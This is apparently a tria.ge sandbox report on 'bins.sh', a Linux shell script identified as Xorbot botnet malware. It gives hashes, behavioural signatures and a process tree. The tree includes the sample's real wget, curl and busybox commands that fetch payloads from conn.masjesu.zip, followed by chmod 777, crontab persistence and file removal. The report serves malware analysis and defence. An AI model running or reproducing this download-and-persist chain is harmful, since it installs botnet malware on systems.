Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
27/02/2025, 17:11
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
0aec7763cd1e0b0ff0816e8a61703e14
-
SHA1
34d8cc1b3dde4180fc98bb42337526cd285596f7
-
SHA256
3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb
-
SHA512
5f0b46c702a374991819ff3d43141d24ad4b6bdbf112848d05cff833a9e37ed2e0f10dd9705e1da911c169a617fbd504806c616a73337888e4a54ee1366ff0b7
-
SSDEEP
96:YaS+FFFlFcMLLnRL049GDLrHZcUlnBRn7NY8F7XsL3nL4qPjOxLwsOtJb3li6PQ0:lhaOGib0xCruW
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
-
Contacts a large (1728) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1508 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH 1509 bins.sh -
Renames itself 1 IoCs
pid Process 1510 bins.sh -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.Vl9vAu crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/1576/cmdline bins.sh File opened for reading /proc/1624/cmdline bins.sh File opened for reading /proc/1639/cmdline bins.sh File opened for reading /proc/1667/cmdline bins.sh File opened for reading /proc/1674/cmdline bins.sh File opened for reading /proc/1705/cmdline bins.sh File opened for reading /proc/421/cmdline bins.sh File opened for reading /proc/1645/cmdline bins.sh File opened for reading /proc/1656/cmdline bins.sh File opened for reading /proc/1699/cmdline bins.sh File opened for reading /proc/1721/cmdline bins.sh File opened for reading /proc/1740/cmdline bins.sh File opened for reading /proc/82/cmdline bins.sh File opened for reading /proc/116/cmdline bins.sh File opened for reading /proc/24/cmdline bins.sh File opened for reading /proc/1184/cmdline bins.sh File opened for reading /proc/1565/cmdline bins.sh File opened for reading /proc/1648/cmdline bins.sh File opened for reading /proc/1684/cmdline bins.sh File opened for reading /proc/1755/cmdline bins.sh File opened for reading /proc/163/cmdline bins.sh File opened for reading /proc/334/cmdline bins.sh File opened for reading /proc/650/cmdline bins.sh File opened for reading /proc/1113/cmdline bins.sh File opened for reading /proc/1146/cmdline bins.sh File opened for reading /proc/1553/cmdline bins.sh File opened for reading /proc/1720/cmdline bins.sh File opened for reading /proc/518/cmdline bins.sh File opened for reading /proc/1152/cmdline bins.sh File opened for reading /proc/596/cmdline bins.sh File opened for reading /proc/1077/cmdline bins.sh File opened for reading /proc/1535/cmdline bins.sh File opened for reading /proc/1/cmdline bins.sh File opened for reading /proc/1084/cmdline bins.sh File opened for reading /proc/1644/cmdline bins.sh File opened for reading /proc/1688/cmdline bins.sh File opened for reading /proc/425/cmdline bins.sh File opened for reading /proc/1165/cmdline bins.sh File opened for reading /proc/1487/cmdline bins.sh File opened for reading /proc/1519/cmdline bins.sh File opened for reading /proc/1575/cmdline bins.sh File opened for reading /proc/1659/cmdline bins.sh File opened for reading /proc/1712/cmdline bins.sh File opened for reading /proc/1730/cmdline bins.sh File opened for reading /proc/34/cmdline bins.sh File opened for reading /proc/78/cmdline bins.sh File opened for reading /proc/462/cmdline bins.sh File opened for reading /proc/1293/cmdline bins.sh File opened for reading /proc/1538/cmdline bins.sh File opened for reading /proc/1559/cmdline bins.sh File opened for reading /proc/1751/cmdline bins.sh File opened for reading /proc/1017/cmdline bins.sh File opened for reading /proc/1112/cmdline bins.sh File opened for reading /proc/1543/cmdline bins.sh File opened for reading /proc/1549/cmdline bins.sh File opened for reading /proc/1579/cmdline bins.sh File opened for reading /proc/1607/cmdline bins.sh File opened for reading /proc/1744/cmdline bins.sh File opened for reading /proc/21/cmdline bins.sh File opened for reading /proc/172/cmdline bins.sh File opened for reading /proc/1168/cmdline bins.sh File opened for reading /proc/1266/cmdline bins.sh File opened for reading /proc/1613/cmdline bins.sh File opened for reading /proc/179/cmdline bins.sh -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1519 wget 1483 wget 1497 curl 1507 busybox -
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH wget File opened for modification /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1481 -
/bin/rm/bin/rm bins.sh2⤵PID:1482
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1483
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1497
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- System Network Configuration Discovery
PID:1507
-
-
/bin/chmodchmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- File and Directory Permissions Modification
PID:1508
-
-
/usr/bin/crontabcrontab -l2⤵PID:1512
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1514
-
-
/bin/rmrm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵PID:1516
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd2⤵
- System Network Configuration Discovery
PID:1519
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD58a09a0a65084800a08d62202e653b020
SHA194860e5dc1caf130e642b8f1bfbf5d4158cba7df
SHA25639d3cd00de8ea4603cee8daf6ad4010f4aec929f6a3dad9f10d48e12037e2c2d
SHA512e6aef62d18a545a654ec3f60c8f3e183d65032115b8a2f6860857f6a4ffaa449cfe0dfbfc97dfcf4d650fe81fc843c731de6ba5842904195b8a49a7dcd31c1c3